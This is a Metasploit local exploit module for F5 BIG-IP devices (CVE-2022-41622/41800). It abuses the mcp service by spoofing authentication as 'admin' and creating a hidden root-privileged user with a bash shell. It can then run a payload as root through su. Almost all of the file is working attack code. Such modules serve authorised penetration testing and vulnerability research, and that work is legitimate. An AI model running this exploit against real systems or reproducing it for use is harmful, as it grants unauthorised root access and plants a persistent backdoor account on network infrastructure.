##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'unix_crypt'
class MetasploitModule < Msf::Exploit::Local
include Msf::Post::Linux::F5Mcp
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'F5 Big-IP Create Admin User',
'Description' => %q{
This creates a local user with a username/password and root-level
privileges. Note that a root-level account is not required to do this,
which makes it a privilege escalation issue.
Note that this is pretty noisy, since it creates a user account and
creates log files and such. Additionally, most (if not all)
vulnerabilities in F5 grant root access anyways.
Adapted from https://github.com/rbowes-r7/refreshing-mcp-tool/blob/main/mcp-privesc.rb
},
'License' => MSF_LICENSE,
'Author' => ['Ron Bowes'],
'Platform' => [ 'unix', 'linux', 'python' ],
'SessionTypes' => ['shell', 'meterpreter'],
'References' => [
['URL', 'https://github.com/rbowes-r7/refreshing-mcp-tool'], # Original PoC
['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],
['URL', 'https://support.f5.com/csp/article/K97843387'],
],
'Privileged' => true,
'DisclosureDate' => '2022-11-16',
'Arch' => [ ARCH_CMD, ARCH_PYTHON ],
'Type' => :unix_cmd,
'Targets' => [[ 'Auto', {} ]],
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options([
OptString.new('USERNAME', [true, 'Username to create (default: random)', Rex::Text.rand_text_alphanumeric(8)]),
OptString.new('PASSWORD', [true, 'Password for the new user (default: random)', Rex::Text.rand_text_alphanumeric(12)]),
OptBool.new('CREATE_SESSION', [true, 'If set, use the new account to create a root session', true]),
])
end
def exploit
# Get or generate the username/password
fail_with(Failure::BadConfig, 'USERNAME cannot be empty') if datastore['USERNAME'].empty?
username = datastore['USERNAME']
if datastore['CREATE_SESSION']
password = Rex::Text.rand_text_alphanumeric(12)
new_password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12)
print_status("Will attempt to create user #{username} / #{password}, then change password to #{new_password} when creating a session")
else
password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12)
print_status("Will attempt to create user #{username} / #{password}")
end
# If the password is already hashed, leave it as-is
vprint_status('Hashing the password with SHA512')
hashed_password = UnixCrypt::SHA512.build(password)
if !hashed_password || hashed_password.empty?
fail_with(Failure::BadConfig, 'Failed to hash the password with String.crypt')
end
# These requests have to go in a single 'session', which, to us, is
# a single packet (since we don't have AF_UNIX sockets)
result = mcp_send_recv([
# Authenticate as 'admin' (this probably shouldn't work but does)
mcp_build('user_authenticated', 'structure', [
mcp_build('user_authenticated_name', 'string', 'admin')
]),
# Start transaction
mcp_build('start_transaction', 'structure', [
mcp_build('start_transaction_load_type', 'ulong', 0)
]),
# Create the role mapping
mcp_build('create', 'structure', [
mcp_build('user_role_partition', 'structure', [
mcp_build('user_role_partition_user', 'string', username),
mcp_build('user_role_partition_role', 'ulong', 0),
mcp_build('user_role_partition_partition', 'string', '[All]'),
])
]),
# Create the userdb entry
mcp_build('create', 'structure', [
mcp_build('userdb_entry', 'structure', [
mcp_build('userdb_entry_name', 'string', username),
mcp_build('userdb_entry_partition_id', 'string', 'Common'),
mcp_build('userdb_entry_is_system', 'ulong', 0),
mcp_build('userdb_entry_shell', 'string', '/bin/bash'),
mcp_build('userdb_entry_is_crypted', 'ulong', 1),
mcp_build('userdb_entry_passwd', 'string', hashed_password),
])
]),
# Finish the transaction
mcp_build('end_transaction', 'structure', [])
])
# Handle errors
if result.nil?
fail_with(Failure::Unknown, 'Request to mcp appeared to fail')
end
# The only result we really care about is an error
error_returned = false
result.each do |r|
result = mcp_get_single(r, 'result')
result_code = mcp_get_single(result, 'result_code')
# If there's no code or it's zero, just ignore it
if result_code.nil? || result_code == 0
next
end
# If we're here, an error was returned!
error_returned = true
# Otherwise, try and get result_message
result_message = mcp_get_single(result, 'result_message')
if result_message.nil?
print_warning("mcp query returned a non-zero result (#{result_code}), but no error message")
else
print_error("mcp query returned an error message: #{result_message} (code: #{result_code})")
end
end
# Let them know if it likely worked
if !error_returned
print_good("Service didn't return an error, so user was likely created!")
if datastore['CREATE_SESSION']
print_status('Attempting create a root session...')
out = cmd_exec("echo -ne \"#{password}\\n#{password}\\n#{new_password}\\n#{new_password}\\n#{payload.encoded}\\n\" | su #{username}")
vprint_status("Output from su command: #{out}")
end
end
end
end
